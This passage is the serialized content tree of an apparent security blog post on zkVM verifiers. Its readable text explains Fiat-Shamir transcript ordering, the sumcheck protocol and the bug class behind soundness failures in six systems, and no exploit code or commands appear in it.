5486],[109347],{"type":25,"tag":201,"props":109348,"children":109350},{"className":109349},[5491],[109351],{"type":25,"tag":201,"props":109352,"children":109354},{"className":109353,"ariaHidden":5497},[5496],[109355],{"type":25,"tag":201,"props":109356,"children":109358},{"className":109357},[5502],[109359,109363],{"type":25,"tag":201,"props":109360,"children":109362},{"className":109361,"style":23078},[5507],[],{"type":25,"tag":201,"props":109364,"children":109366},{"className":109365,"style":23084},[5513,23083],[109367],{"type":31,"value":23087},{"type":31,"value":109369}," = program/circuit description (public)",{"type":25,"tag":6948,"props":109371,"children":109372},{},[109373,109398],{"type":25,"tag":115,"props":109374,"children":109376},{"className":109375},[5485,5486],[109377],{"type":25,"tag":201,"props":109378,"children":109380},{"className":109379},[5491],[109381],{"type":25,"tag":201,"props":109382,"children":109384},{"className":109383,"ariaHidden":5497},[5496],[109385],{"type":25,"tag":201,"props":109386,"children":109388},{"className":109387},[5502],[109389,109393],{"type":25,"tag":201,"props":109390,"children":109392},{"className":109391,"style":23078},[5507],[],{"type":25,"tag":201,"props":109394,"children":109396},{"className":109395,"style":96151},[5513,23083],[109397],{"type":31,"value":7641},{"type":31,"value":109399}," = public input",{"type":25,"tag":6948,"props":109401,"children":109402},{},[109403,109428],{"type":25,"tag":115,"props":109404,"children":109406},{"className":109405},[5485,5486],[109407],{"type":25,"tag":201,"props":109408,"children":109410},{"className":109409},[5491],[109411],{"type":25,"tag":201,"props":109412,"children":109414},{"className":109413,"ariaHidden":5497},[5496],[109415],{"type":25,"tag":201,"props":109416,"children":109418},{"className":109417},[5502],[109419,109423],{"type":25,"tag":201,"props":109420,"children":109422},{"className":109421,"style":23078},[5507],[],{"type":25,"tag":201,"props":109424,"children":109426},{"className":109425,"style":109329},[5513,23083],[109427],{"type":31,"value":7671},{"type":31,"value":109429}," = claimed public output",{"type":25,"tag":6948,"props":109431,"children":109432},{},[109433,109458],{"type":25,"tag":115,"props":109434,"children":109436},{"className":109435},[5485,5486],[109437],{"type":25,"tag":201,"props":109438,"children":109440},{"className":109439},[5491],[109441],{"type":25,"tag":201,"props":109442,"children":109444},{"className":109443,"ariaHidden":5497},[5496],[109445],{"type":25,"tag":201,"props":109446,"children":109448},{"className":109447},[5502],[109449,109453],{"type":25,"tag":201,"props":109450,"children":109452},{"className":109451,"style":23078},[5507],[],{"type":25,"tag":201,"props":109454,"children":109456},{"className":109455,"style":23084},[5513,23083],[109457],{"type":31,"value":7496},{"type":31,"value":109459}," = private witness/trace (registers, memory history, intermediate values)",{"type":25,"tag":34,"props":109461,"children":109462},{},[109463,109465,109469],{"type":31,"value":109464},"The verifier does ",{"type":25,"tag":1252,"props":109466,"children":109467},{},[109468],{"type":31,"value":19987},{"type":31,"value":109470}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":25,"tag":34,"props":109472,"children":109473},{},[109474,109476,109481],{"type":31,"value":109475},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":25,"tag":1252,"props":109477,"children":109478},{},[109479],{"type":31,"value":109480},"soundness",{"type":31,"value":5997},{"type":25,"tag":18183,"props":109483,"children":109484},{},[109485,109495],{"type":25,"tag":6948,"props":109486,"children":109487},{},[109488,109493],{"type":25,"tag":1252,"props":109489,"children":109490},{},[109491],{"type":31,"value":109492},"Completeness",{"type":31,"value":109494},": honest execution verifies.",{"type":25,"tag":6948,"props":109496,"children":109497},{},[109498,109503],{"type":25,"tag":1252,"props":109499,"children":109500},{},[109501],{"type":31,"value":109502},"Soundness",{"type":31,"value":109504},": false execution should not verify.",{"type":25,"tag":34,"props":109506,"children":109507},{},[109508,109510,109514],{"type":31,"value":109509},"We are breaking ",{"type":25,"tag":1252,"props":109511,"children":109512},{},[109513],{"type":31,"value":109480},{"type":31,"value":109515}," in all six systems.",{"type":25,"tag":34,"props":109517,"children":109518},{},[109519],{"type":31,"value":109520},"In all six codebases, verification follows this abstract flow:",{"type":25,"tag":6944,"props":109522,"children":109523},{},[109524,109529,109534,109539,109544,109549],{"type":25,"tag":6948,"props":109525,"children":109526},{},[109527],{"type":31,"value":109528},"Fix public statement data.",{"type":25,"tag":6948,"props":109530,"children":109531},{},[109532],{"type":31,"value":109533},"Parse proof payload (commitments, reduction messages, openings).",{"type":25,"tag":6948,"props":109535,"children":109536},{},[109537],{"type":31,"value":109538},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":25,"tag":6948,"props":109540,"children":109541},{},[109542],{"type":31,"value":109543},"Check constraint equations at sampled points.",{"type":25,"tag":6948,"props":109545,"children":109546},{},[109547],{"type":31,"value":109548},"Check PCS/opening consistency.",{"type":25,"tag":6948,"props":109550,"children":109551},{},[109552],{"type":31,"value":109553},"Accept only if all checks are jointly consistent.",{"type":25,"tag":34,"props":109555,"children":109556},{},[109557],{"type":25,"tag":127,"props":109558,"children":109561},{"alt":109559,"src":109560},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":25,"tag":34,"props":109563,"children":109564},{},[109565],{"type":31,"value":109566},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":25,"tag":20292,"props":109568,"children":109569},{},[],{"type":25,"tag":26,"props":109571,"children":109573},{"id":109572},"the-building-blocks",[109574],{"type":31,"value":109575},"The Building Blocks",{"type":25,"tag":34,"props":109577,"children":109578},{},[109579],{"type":31,"value":109580},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":25,"tag":40,"props":109582,"children":109584},{"id":109583},"the-fiat-shamir-transform",[109585],{"type":31,"value":109586},"The Fiat-Shamir Transform",{"type":25,"tag":34,"props":109588,"children":109589},{},[109590],{"type":31,"value":109591},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":25,"tag":34,"props":109593,"children":109594},{},[109595],{"type":31,"value":109596},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":25,"tag":34,"props":109598,"children":109599},{},[109600],{"type":25,"tag":127,"props":109601,"children":109604},{"alt":109602,"src":109603},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":25,"tag":34,"props":109606,"children":109607},{},[109608,109610,109614,109616,109621],{"type":31,"value":109609},"The hash (transcript) ",{"type":25,"tag":1252,"props":109611,"children":109612},{},[109613],{"type":31,"value":8028},{"type":31,"value":109615}," include everything that affects verification ",{"type":25,"tag":1252,"props":109617,"children":109618},{},[109619],{"type":31,"value":109620},"BEFORE",{"type":31,"value":109622}," the challenges derived from it are used.",{"type":25,"tag":34,"props":109624,"children":109625},{},[109626,109628,109654,109656,109681,109683,109708,109710,109735,109737,109762],{"type":31,"value":109627},"If some value ",{"type":25,"tag":115,"props":109629,"children":109631},{"className":109630},[5485,5486],[109632],{"type":25,"tag":201,"props":109633,"children":109635},{"className":109634},[5491],[109636],{"type":25,"tag":201,"props":109637,"children":109639},{"className":109638,"ariaHidden":5497},[5496],[109640],{"type":25,"tag":201,"props":109641,"children":109643},{"className":109642},[5502],[109644,109648],{"type":25,"tag":201,"props":109645,"children":109647},{"className":109646,"style":23078},[5507],[],{"type":25,"tag":201,"props":109649,"children":109651},{"className":109650,"style":109329},[5513,23083],[109652],{"type":31,"value":109653},"V",{"type":31,"value":109655}," affects a verification equation, but ",{"type":25,"tag":115,"props":109657,"children":109659},{"className":109658},[5485,5486],[109660],{"type":25,"tag":201,"props":109661,"children":109663},{"className":109662},[5491],[109664],{"type":25,"tag":201,"props":109665,"children":109667},{"className":109666,"ariaHidden":5497},[5496],[109668],{"type":25,"tag":201,"props":109669,"children":109671},{"className":109670},[5502],[109672,109676],{"type":25,"tag":201,"props":109673,"children":109675},{"className":109674,"style":23078},[5507],[],{"type":25,"tag":201,"props":109677,"children":109679},{"className":109678,"style":109329},[5513,23083],[109680],{"type":31,"value":109653},{"type":31,"value":109682}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":25,"tag":115,"props":109684,"children":109686},{"className":109685},[5485,5486],[109687],{"type":25,"tag":201,"props":109688,"children":109690},{"className":109689},[5491],[109691],{"type":25,"tag":201,"props":109692,"children":109694},{"className":109693,"ariaHidden":5497},[5496],[109695],{"type":25,"tag":201,"props":109696,"children":109698},{"className":109697},[5502],[109699,109703],{"type":25,"tag":201,"props":109700,"children":109702},{"className":109701,"style":23078},[5507],[],{"type":25,"tag":201,"props":109704,"children":109706},{"className":109705,"style":109329},[5513,23083],[109707],{"type":31,"value":109653},{"type":31,"value":109709},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":25,"tag":115,"props":109711,"children":109713},{"className":109712},[5485,5486],[109714],{"type":25,"tag":201,"props":109715,"children":109717},{"className":109716},[5491],[109718],{"type":25,"tag":201,"props":109719,"children":109721},{"className":109720,"ariaHidden":5497},[5496],[109722],{"type":25,"tag":201,"props":109723,"children":109725},{"className":109724},[5502],[109726,109730],{"type":25,"tag":201,"props":109727,"children":109729},{"className":109728,"style":23078},[5507],[],{"type":25,"tag":201,"props":109731,"children":109733},{"className":109732,"style":109329},[5513,23083],[109734],{"type":31,"value":109653},{"type":31,"value":109736},", which may allow it to choose ",{"type":25,"tag":115,"props":109738,"children":109740},{"className":109739},[5485,5486],[109741],{"type":25,"tag":201,"props":109742,"children":109744},{"className":109743},[5491],[109745],{"type":25,"tag":201,"props":109746,"children":109748},{"className":109747,"ariaHidden":5497},[5496],[109749],{"type":25,"tag":201,"props":109750,"children":109752},{"className":109751},[5502],[109753,109757],{"type":25,"tag":201,"props":109754,"children":109756},{"className":109755,"style":23078},[5507],[],{"type":25,"tag":201,"props":109758,"children":109760},{"className":109759,"style":109329},[5513,23083],[109761],{"type":31,"value":109653},{"type":31,"value":109763}," exactly so that the verification passes, even though it should not.",{"type":25,"tag":34,"props":109765,"children":109766},{},[109767],{"type":31,"value":109768},"This is the bug class we found in all six systems.",{"type":25,"tag":40,"props":109770,"children":109772},{"id":109771},"the-sumcheck-protocol",[109773],{"type":31,"value":109774},"The Sumcheck Protocol",{"type":25,"tag":34,"props":109776,"children":109777},{},[109778,109780,109866],{"type":31,"value":109779},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":25,"tag":115,"props":109781,"children":109783},{"className":109782},[5485,5486],[109784],{"type":25,"tag":201,"props":109785,"children":109787},{"className":109786},[5491],[109788],{"type":25,"tag":201,"props":109789,"children":109791},{"className":109790,"ariaHidden":5497},[5496],[109792],{"type":25,"tag":201,"props":109793,"children":109795},{"className":109794},[5502],[109796,109800,109805,109810,109815,109819,109824],{"type":25,"tag":201,"props":109797,"children":109799},{"className":109798,"style":5614},[5507],[],{"type":25,"tag":201,"props":109801,"children":109803},{"className":109802},[23212],[109804],{"type":31,"value":77702},{"type":25,"tag":201,"props":109806,"children":109808},{"className":109807},[5513],[109809],{"type":31,"value":429},{"type":25,"tag":201,"props":109811,"children":109813},{"className":109812},[5625],[109814],{"type":31,"value":5628},{"type":25,"tag":201,"props":109816,"children":109818},{"className":109817,"style":5632},[5593],[],{"type":25,"tag":201,"props":109820,"children":109822},{"className":109821},[5513],[109823],{"type":31,"value":5516},{"type":25,"tag":201,"props":109825,"children":109827},{"className":109826},[23234],[109828,109833],{"type":25,"tag":201,"props":109829,"children":109831},{"className":109830},[23234],[109832],{"type":31,"value":3078},{"type":25,"tag":201,"props":109834,"children":109836},{"className":109835},[5529],[109837],{"type":25,"tag":201,"props":109838,"children":109840},{"className":109839},[5534],[109841],{"type":25,"tag":201,"props":109842,"children":109844},{"className":109843},[5539],[109845],{"type":25,"tag":201,"props":109846,"children":109849},{"className":109847,"style":109848},[5544],"height:0.6644em;",[109850],{"type":25,"tag":201,"props":109851,"children":109852},{"style":5548},[109853,109857],{"type":25,"tag":201,"props":109854,"children":109856},{"className":109855,"style":5554},[5553],[],{"type":25,"tag":201,"props":109858,"children":109860},{"className":109859},[5559,5560,5561,5562],[109861],{"type":25,"tag":201,"props":109862,"children":109864},{"className":109863},[5513,23083,5562],[109865],{"type":31,"value":57482},{"type":31,"value":109867},"), i.e the claim:",{"type":25,"tag":34,"props":109869,"children":109870},{},[109871],{"type":25,"tag":115,"props":109872,"children":109874},{"className":109873},[5485,5486],[109875],{"type":25,"tag":201,"props":109876,"children":109878},{"className":109877},[5491],[109879],{"type":25,"tag":201,"props":109880,"children":109882},{"className":109881,"ariaHidden":5497},[5496],[109883,109909],{"type":25,"tag":201,"props":109884,"children":109886},{"className":109885},[5502],[109887,109891,109896,109900,109905],{"type":25,"tag":201,"props":109888,"children":109890},{"className":109889,"style":23078},[5507],[],{"type":25,"tag":201,"props":109892,"children":109894},{"className":109893,"style":94365},[5513,23083],[109895],{"type":31,"value":94368},{"type":25,"tag":201,"props":109897,"children":109899},{"className":109898,"style":5691},[5593],[],{"type":25,"tag":201,"props":109901,"children":109903},{"className":109902},[5696],[109904],{"type":31,"value":1383},{"type":25,"tag":201,"props":109906,"children":109908},{"className":109907,"style":5691},[5593],[],{"type":25,"tag":201,"props":109910,"children":109912},{"className":109911},[5502],[109913,109917,110067,110071,110214,110218,110225,110229,110373,110377,110383,110388,110445,110450,110454,110511,110516,110520,110526,110530,110535,110539,110597],{"type":25,"tag":201,"props":109914,"children":109916},{"className":109915,"style":23114},[5507],[],{"type":25,"tag":201,"props":109918,"children":109920},{"className":109919},[23119],[109921,109927],{"type":25,"tag":201,"props":109922,"children":109924},{"className":109923,"style":23126},[23119,23124,23125],[109925],{"type":31,"value":109926},"∑",{"type":25,"tag":201,"props":109928,"children":109930},{"className":109929},[5529],[109931],{"type":25,"tag":201,"props":109932,"children":109934},{"className":109933},[5534,23137],[109935,110056],{"type":25,"tag":201,"props":109936,"children":109938},{"className":109937},[5539],[109939,110051],{"type":25,"tag":201,"props":109940,"children":109942},{"className":109941,"style":23146},[5544],[109943],{"type":25,"tag":201,"props":109944,"children":109945},{"style":23150},[109946,109950],{"type":25,"tag":201,"props":109947,"children":109949},{"className":109948,"style":5554},[5553],[],{"type":25,"tag":201,"props":109951,"children":109953},{"className":109952},[5559,5560,5561,5562],[109954],{"type":25,"tag":201,"props":109955,"children":109957},{"className":109956},[5513,5562],[109958,110021,110026,110031,110036,110041,110046],{"type":25,"tag":201,"props":109959,"children":109961},{"className":109960},[5513,5562],[109962,109967],{"type":25,"tag":201,"props":109963,"children":109965},{"className":109964},[5513,23083,5562],[109966],{"type":31,"value":1606},{"type":25,"tag":201,"props":109968,"children":109970},{"className":109969},[5529],[109971],{"type":25,"tag":201,"props":109972,"children":109974},{"className":109973},[5534,23137],[109975,110009],{"type":25,"tag":201,"props":109976,"children":109978},{"className":109977},[5539],[109979,110004],{"type":25,"tag":201,"props":109980,"children":109983},{"className":109981,"style":109982},[5544],"height:0.3173em;",[109984],{"type":25,"tag":201,"props":109985,"children":109987},{"style":109986},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[109988,109993],{"type":25,"tag":201,"props":109989,"children":109992},{"className":109990,"style":109991},[5553],"height:2.5em;",[],{"type":25,"tag":201,"props":109994,"children":109998},{"className":109995},[5559,109996,109997,5562],"reset-size3","size1",[109999],{"type":25,"tag":201,"props":110000,"children":110002},{"className":110001},[5513,5562],[110003],{"type":31,"value":5516},{"type":25,"tag":201,"props":110005,"children":110007},{"className":110006},[23240],[110008],{"type":31,"value":23243},{"type":25,"tag":201,"props":110010,"children":110012},{"className":110011},[5539],[110013],{"type":25,"tag":201,"props":110014,"children":110017},{"className":110015,"style":110016},[5544],"height:0.143em;",[110018],{"type":25,"tag":201,"props":110019,"children":110020},{},[],{"type":25,"tag":201,"props":110022,"children":110024},{"className":110023},[5696,5562],[110025],{"type":31,"value":23190},{"type":25,"tag":201,"props":110027,"children":110029},{"className":110028},[23212,5562],[110030],{"type":31,"value":77702},{"type":25,"tag":201,"props":110032,"children":110034},{"className":110033},[5513,5562],[110035],{"type":31,"value":429},{"type":25,"tag":201,"props":110037,"children":110039},{"className":110038},[5625,5562],[110040],{"type":31,"value":5628},{"type":25,"tag":201,"props":110042,"children":110044},{"className":110043},[5513,5562],[110045],{"type":31,"value":5516},{"type":25,"tag":201,"props":110047,"children":110049},{"className":110048},[23234,5562],[110050],{"type":31,"value":3078},{"type":25,"tag":201,"props":110052,"children":110054},{"className":110053},[23240],[110055],{"type":31,"value":23243},{"type":25,"tag":201,"props":110057,"children":110059},{"className":110058},[5539],[110060],{"type":25,"tag":201,"props":110061,"children":110063},{"className":110062,"style":23251},[5544],[110064],{"type":25,"tag":201,"props":110065,"children":110066},{},[],{"type":25,"tag":201,"props":110068,"children":110070},{"className":110069,"style":5632},[5593],[],{"type":25,"tag":201,"props":110072,"children":110074},{"className":110073},[23119],[110075,110080],{"type":25,"tag":201,"props":110076,"children":110078},{"className":110077,"style":23126},[23119,23124,23125],[110079],{"type":31,"value":109926},{"type":25,"tag":201,"props":110081,"children":110083},{"className":110082},[5529],[110084],{"type":25,"tag":201,"props":110085,"children":110087},{"className":110086},[5534,23137],[110088,110203],{"type":25,"tag":201,"props":110089,"children":110091},{"className":110090},[5539],[110092,110198],{"type":25,"tag":201,"props":110093,"children":110095},{"className":110094,"style":23146},[5544],[110096],{"type":25,"tag":201,"props":110097,"children":110098},{"style":23150},[110099,110103],{"type":25,"tag":201,"props":110100,"children":110102},{"className":110101,"style":5554},[5553],[],{"type":25,"tag":201,"props":110104,"children":110106},{"className":110105},[5559,5560,5561,5562],[110107],{"type":25,"tag":201,"props":110108,"children":110110},{"className":110109},[5513,5562],[110111,110168,110173,110178,110183,110188,110193],{"type":25,"tag":201,"props":110112,"children":110114},{"className":110113},[5513,5562],[110115,110120],{"type":25,"tag":201,"props":110116,"children":110118},{"className":110117},[5513,23083,5562],[110119],{"type":31,"value":1606},{"type":25,"tag":201,"props":110121,"children":110123},{"className":110122},[5529],[110124],{"type":25,"tag":201,"props":110125,"children":110127},{"className":110126},[5534,23137],[110128,110157],{"type":25,"tag":201,"props":110129,"children":110131},{"className":110130},[5539],[110132,110152],{"type":25,"tag":201,"props":110133,"children":110135},{"className":110134,"style":109982},[5544],[110136],{"type":25,"tag":201,"props":110137,"children":110138},{"style":109986},[110139,110143],{"type":25,"tag":201,"props":110140,"children":110142},{"className":110141,"style":109991},[5553],[],{"type":25,"tag":201,"props":110144,"children":110146},{"className":110145},[5559,109996,109997,5562],[110147],{"type":25,"tag":201,"props":110148,"children":110150},{"className":110149},[5513,5562],[110151],{"type":31,"value":4629},{"type":25,"tag":201,"props":110153,"children":110155},{"className":110154},[23240],[110156],{"type":31,"value":23243},{"type":25,"tag":201,"props":110158,"children":110160},{"className":110159},[5539],[110161],{"type":25,"tag":201,"props":110162,"children":110164},{"className":110163,"style":110016},[5544],[110165],{"type":25,"tag":201,"props":110166,"children":110167},{},[],{"type":25,"tag":201,"props":110169,"children":110171},{"className":110170},[5696,5562],[110172],{"type":31,"value":23190},{"type":25,"tag":201,"props":110174,"children":110176},{"className":110175},[23212,5562],[110177],{"type":31,"value":77702},{"type":25,"tag":201,"props":110179,"children":110181},{"className":110180},[5513,5562],[110182],{"type":31,"value":429},{"type":25,"tag":201,"props":110184,"children":110186},{"className":110185},[5625,5562],[110187],{"type":31,"value":5628},{"type":25,"tag":201,"props":110189,"children":110191},{"className":110190},[5513,5562],[110192],{"type":31,"value":5516},{"type":25,"tag":201,"props":110194,"children":110196},{"className":110195},[23234,5562],[110197],{"type":31,"value":3078},{"type":25,"tag":201,"props":110199,"children":110201},{"className":110200},[23240],[110202],{"type":31,"value":23243},{"type":25,"tag":201,"props":110204,"children":110206},{"className":110205},[5539],[110207],{"type":25,"tag":201,"props":110208,"children":110210},{"className":110209,"style":23251},[5544],[110211],{"type":25,"tag":201,"props":110212,"children":110213},{},[],{"type":25,"tag":201,"props":110215,"children":110217},{"className":110216,"style":5632},[5593],[],{"type":25,"tag":201,"props":110219,"children":110222},{"className":110220},[110221],"minner",[110223],{"type":31,"value":110224},"⋯",{"type":25,"tag":201,"props":110226,"children":110228},{"className":110227,"style":5632},[5593],[],{"type":25,"tag":201,"props":110230,"children":110232},{"className":110231},[23119],[110233,110238],{"type":25,"tag":201,"props":110234,"children":110236},{"className":110235,"style":23126},[23119,23124,23125],[110237],{"type":31,"value":109926},{"type":25,"tag":201,"props":110239,"children":110241},{"className":110240},[5529],[110242],{"type":25,"tag":201,"props":110243,"children":110245},{"className":110244},[5534,23137],[110246,110362],{"type":25,"tag":201,"props":110247,"children":110249},{"className":110248},[5539],[110250,110357],{"type":25,"tag":201,"props":110251,"children":110253},{"className":110252,"style":23146},[5544],[110254],{"type":25,"tag":201,"props":110255,"children":110256},{"style":23150},[110257,110261],{"type":25,"tag":201,"props":110258,"children":110260},{"className":110259,"style":5554},[5553],[],{"type":25,"tag":201,"props":110262,"children":110264},{"className":110263},[5559,5560,5561,5562],[110265],{"type":25,"tag":201,"props":110266,"children":110268},{"className":110267},[5513,5562],[110269,110327,110332,110337,110342,110347,110352],{"type":25,"tag":201,"props":110270,"children":110272},{"className":110271},[5513,5562],[110273,110278],{"type":25,"tag":201,"props":110274,"children":110276},{"className":110275},[5513,23083,5562],[110277],{"type":31,"value":1606},{"type":25,"tag":201,"props":110279,"children":110281},{"className":110280},[5529],[110282],{"type":25,"tag":201,"props":110283,"children":110285},{"className":110284},[5534,23137],[110286,110316],{"type":25,"tag":201,"props":110287,"children":110289},{"className":110288},[5539],[110290,110311],{"type":25,"tag":201,"props":110291,"children":110294},{"className":110292,"style":110293},[5544],"height:0.1645em;",[110295],{"type":25,"tag":201,"props":110296,"children":110297},{"style":109986},[110298,110302],{"type":25,"tag":201,"props":110299,"children":110301},{"className":110300,"style":109991},[5553],[],{"type":25,"tag":201,"props":110303,"children":110305},{"className":110304},[5559,109996,109997,5562],[110306],{"type":25,"tag":201,"props":110307,"children":110309},{"className":110308},[5513,23083,5562],[110310],{"type":31,"value":57482},{"type":25,"tag":201,"props":110312,"children":110314},{"className":110313},[23240],[110315],{"type":31,"value":23243},{"type":25,"tag":201,"props":110317,"children":110319},{"className":110318},[5539],[110320],{"type":25,"tag":201,"props":110321,"children":110323},{"className":110322,"style":110016},[5544],[110324],{"type":25,"tag":201,"props":110325,"children":110326},{},[],{"type":25,"tag":201,"props":110328,"children":110330},{"className":110329},[5696,5562],[110331],{"type":31,"value":23190},{"type":25,"tag":201,"props":110333,"children":110335},{"className":110334},[23212,5562],[110336],{"type":31,"value":77702},{"type":25,"tag":201,"props":110338,"children":110340},{"className":110339},[5513,5562],[110341],{"type":31,"value":429},{"type":25,"tag":201,"props":110343,"children":110345},{"className":110344},[5625,5562],[110346],{"type":31,"value":5628},{"type":25,"tag":201,"props":110348,"children":110350},{"className":110349},[5513,5562],[110351],{"type":31,"value":5516},{"type":25,"tag":201,"props":110353,"children":110355},{"className":110354},[23234,5562],[110356],{"type":31,"value":3078},{"type":25,"tag":201,"props":110358,"children":110360},{"className":110359},[23240],[110361],{"type":31,"value":23243},{"type":25,"tag":201,"props":110363,"children":110365},{"className":110364},[5539],[110366],{"type":25,"tag":201,"props":110367,"children":110369},{"className":110368,"style":23251},[5544],[110370],{"type":25,"tag":201,"props":110371,"children":110372},{},[],{"type":25,"tag":201,"props":110374,"children":110376},{"className":110375,"style":5632},[5593],[],{"type":25,"tag":201,"props":110378,"children":110380},{"className":110379,"style":94617},[5513,23083],[110381],{"type":31,"value":110382},"g",{"type":25,"tag":201,"props":110384,"children":110386},{"className":110385},[23212],[110387],{"type":31,"value":298},{"type":25,"tag":201,"props":110389,"children":110391},{"className":110390},[5513],[110392,110397],{"type":25,"tag":201,"props":110393,"children":110395},{"className":110394},[5513,23083],[110396],{"type":31,"value":1606},{"type":25,"tag":201,"props":110398,"children":110400},{"className":110399},[5529],[110401],{"type":25,"tag":201,"props":110402,"children":110404},{"className":110403},[5534,23137],[110405,110434],{"type":25,"tag":201,"props":110406,"children":110408},{"className":110407},[5539],[110409,110429],{"type":25,"tag":201,"props":110410,"children":110412},{"className":110411,"style":94183},[5544],[110413],{"type":25,"tag":201,"props":110414,"children":110415},{"style":94187},[110416,110420],{"type":25,"tag":201,"props":110417,"children":110419},{"className":110418,"style":5554},[5553],[],{"type":25,"tag":201,"props":110421,"children":110423},{"className":110422},[5559,5560,5561,5562],[110424],{"type":25,"tag":201,"props":110425,"children":110427},{"className":110426},[5513,5562],[110428],{"type":31,"value":5516},{"type":25,"tag":201,"props":110430,"children":110432},{"className":110431},[23240],[110433],{"type":31,"value":23243},{"type":25,"tag":201,"props":110435,"children":110437},{"className":110436},[5539],[110438],{"type":25,"tag":201,"props":110439,"children":110441},{"className":110440,"style":94214},[5544],[110442],{"type":25,"tag":201,"props":110443,"children":110444},{},[],{"type":25,"tag":201,"props":110446,"children":110448},{"className":110447},[5625],[110449],{"type":31,"value":5628},{"type":25,"tag":201,"props":110451,"children":110453},{"className":110452,"style":5632},[5593],[],{"type":25,"tag":201,"props":110455,"children":110457},{"className":110456},[5513],[110458,110463],{"type":25,"tag":201,"props":110459,"children":110461},{"className":110460},[5513,23083],[110462],{"type":31,"value":1606},{"type":25,"tag":201,"props":110464,"children":110466},{"className":110465},[5529],[110467],{"type":25,"tag":201,"props":110468,"children":110470},{"className":110469},[5534,23137],[110471,110500],{"type":25,"tag":201,"props":110472,"children":110474},{"className":110473},[5539],[110475,110495],{"type":25,"tag":201,"props":110476,"children":110478},{"className":110477,"style":94183},[5544],[110479],{"type":25,"tag":201,"props":110480,"children":110481},{"style":94187},[110482,110486],{"type":25,"tag":201,"props":110483,"children":110485},{"className":110484,"style":5554},[5553],[],{"type":25,"tag":201,"props":110487,"children":110489},{"className":110488},[5559,5560,5561,5562],[110490],{"type":25,"tag":201,"props":110491,"children":110493},{"className":110492},[5513,5562],[110494],{"type":31,"value":4629},{"type":25,"tag":201,"props":110496,"children":110498},{"className":110497},[23240],[110499],{"type":31,"value":23243},{"type":25,"tag":201,"props":110501,"children":110503},{"className":110502},[5539],[110504],{"type":25,"tag":201,"props":110505,"children":110507},{"className":110506,"style":94214},[5544],[110508],{"type":25,"tag":201,"props":110509,"children":110510},{},[],{"type":25,"tag":201,"props":110512,"children":110514},{"className":110513},[5625],[110515],{"type":31,"value":5628},{"type":25,"tag":201,"props":110517,"children":110519},{"className":110518,"style":5632},[5593],[],{"type":25,"tag":201,"props":110521,"children":110523},{"className":110522},[110221],[110524],{"type":31,"value":110525},"…",{"type":25,"tag":201,"props":110527,"children":110529},{"className":110528,"style":5632},[5593],[],{"type":25,"tag":201,"props":110531,"children":110533},{"className":110532},[5625],[110534],{"type":31,"value":5628},{"type":25,"tag":201,"props":110536,"children":110538},{"className":110537,"style":5632},[5593],[],{"type":25,"tag":201,"props":110540,"children":110542},{"className":110541},[5513],[110543,110548],{"type":25,"tag":201,"props":110544,"children":110546},{"className":110545},[5513,23083],[110547],{"type":31,"value":1606},{"type":25,"tag":201,"props":110549,"children":110551},{"className":110550},[5529],[110552],{"type":25,"tag":201,"props":110553,"children":110555},{"className":110554},[5534,23137],[110556,110586],{"type":25,"tag":201,"props":110557,"children":110559},{"className":110558},[5539],[110560,110581],{"type":25,"tag":201,"props":110561,"children":110564},{"className":110562,"style":110563},[5544],"height:0.1514em;",[110565],{"type":25,"tag":201,"props":110566,"children":110567},{"style":94187},[110568,110572],{"type":25,"tag":201,"props":110569,"children":110571},{"className":110570,"style":5554},[5553],[],{"type":25,"tag":201,"props":110573,"children":110575},{"className":110574},[5559,5560,5561,5562],[110576],{"type":25,"tag":201,"props":110577,"children":110579},{"className":110578},[5513,23083,5562],[110580],{"type":31,"value":57482},{"type":25,"tag":201,"props":110582,"children":110584},{"className":110583},[23240],[110585],{"type":31,"value":23243},{"type":25,"tag":201,"props":110587,"children":110589},{"className":110588},[5539],[110590],{"type":25,"tag":201,"props":110591,"children":110593},{"className":110592,"style":94214},[5544],[110594],{"type":25,"tag":201,"props":110595,"children":110596},{},[],{"type":25,"tag":201,"props":110598,"children":110600},{"className":110599},[23234],[110601],{"type":31,"value":3073},{"type":25,"tag":34,"props":110603,"children":110604},{},[110605,110607,110668],{"type":31,"value":110606},"The naive approach would be for the verifier to compute all ",{"type":25,"tag":115,"props":110608,"children":110610},{"className":110609},[5485,5486],[110611],{"type":25,"tag":201,"props":110612,"children":110614},{"className":110613},[5491],[110615],{"type":25,"tag":201,"props":110616,"children":110618},{"className":110617,"ariaHidden":5497},[5496],[110619],{"type":25,"tag":201,"props":110620,"children":110622},{"className":110621},[5502],[110623,110627],{"type":25,"tag":201,"props":110624,"children":110626},{"className":110625,"style":109848},[5507],[],{"type":25,"tag":201,"props":110628,"children":110630},{"className":110629},[5513],[110631,110636],{"type":25,"tag":201,"props":110632,"children":110634},{"className":110633},[5513],[110635],{"type":31,"value":4629},{"type":25,"tag":201,"props":110637,"children":110639},{"className":110638},[5529],[110640],{"type":25,"tag":201,"props":110641,"children":110643},{"className":110642},[5534],[110644],{"type":25,"tag":201,"props":110645,"children":110647},{"className":110646},[5539],[110648],{"type":25,"tag":201,"props":110649,"children":110651},{"className":110650,"style":109848},[5544],[110652],{"type":25,"tag":201,"props":110653,"children":110654},{"style":5548},[110655,110659],{"type":25,"tag":201,"props":110656,"children":110658},{"className":110657,"style":5554},[5553],[],{"type":25,"tag":201,"props":110660,"children":110662},{"className":110661},[5559,5560,5561,5562],[110663],{"type":25,"tag":201,"props":110664,"children":110666},{"className":110665},[5513,23083,5562],[110667],{"type":31,"value":57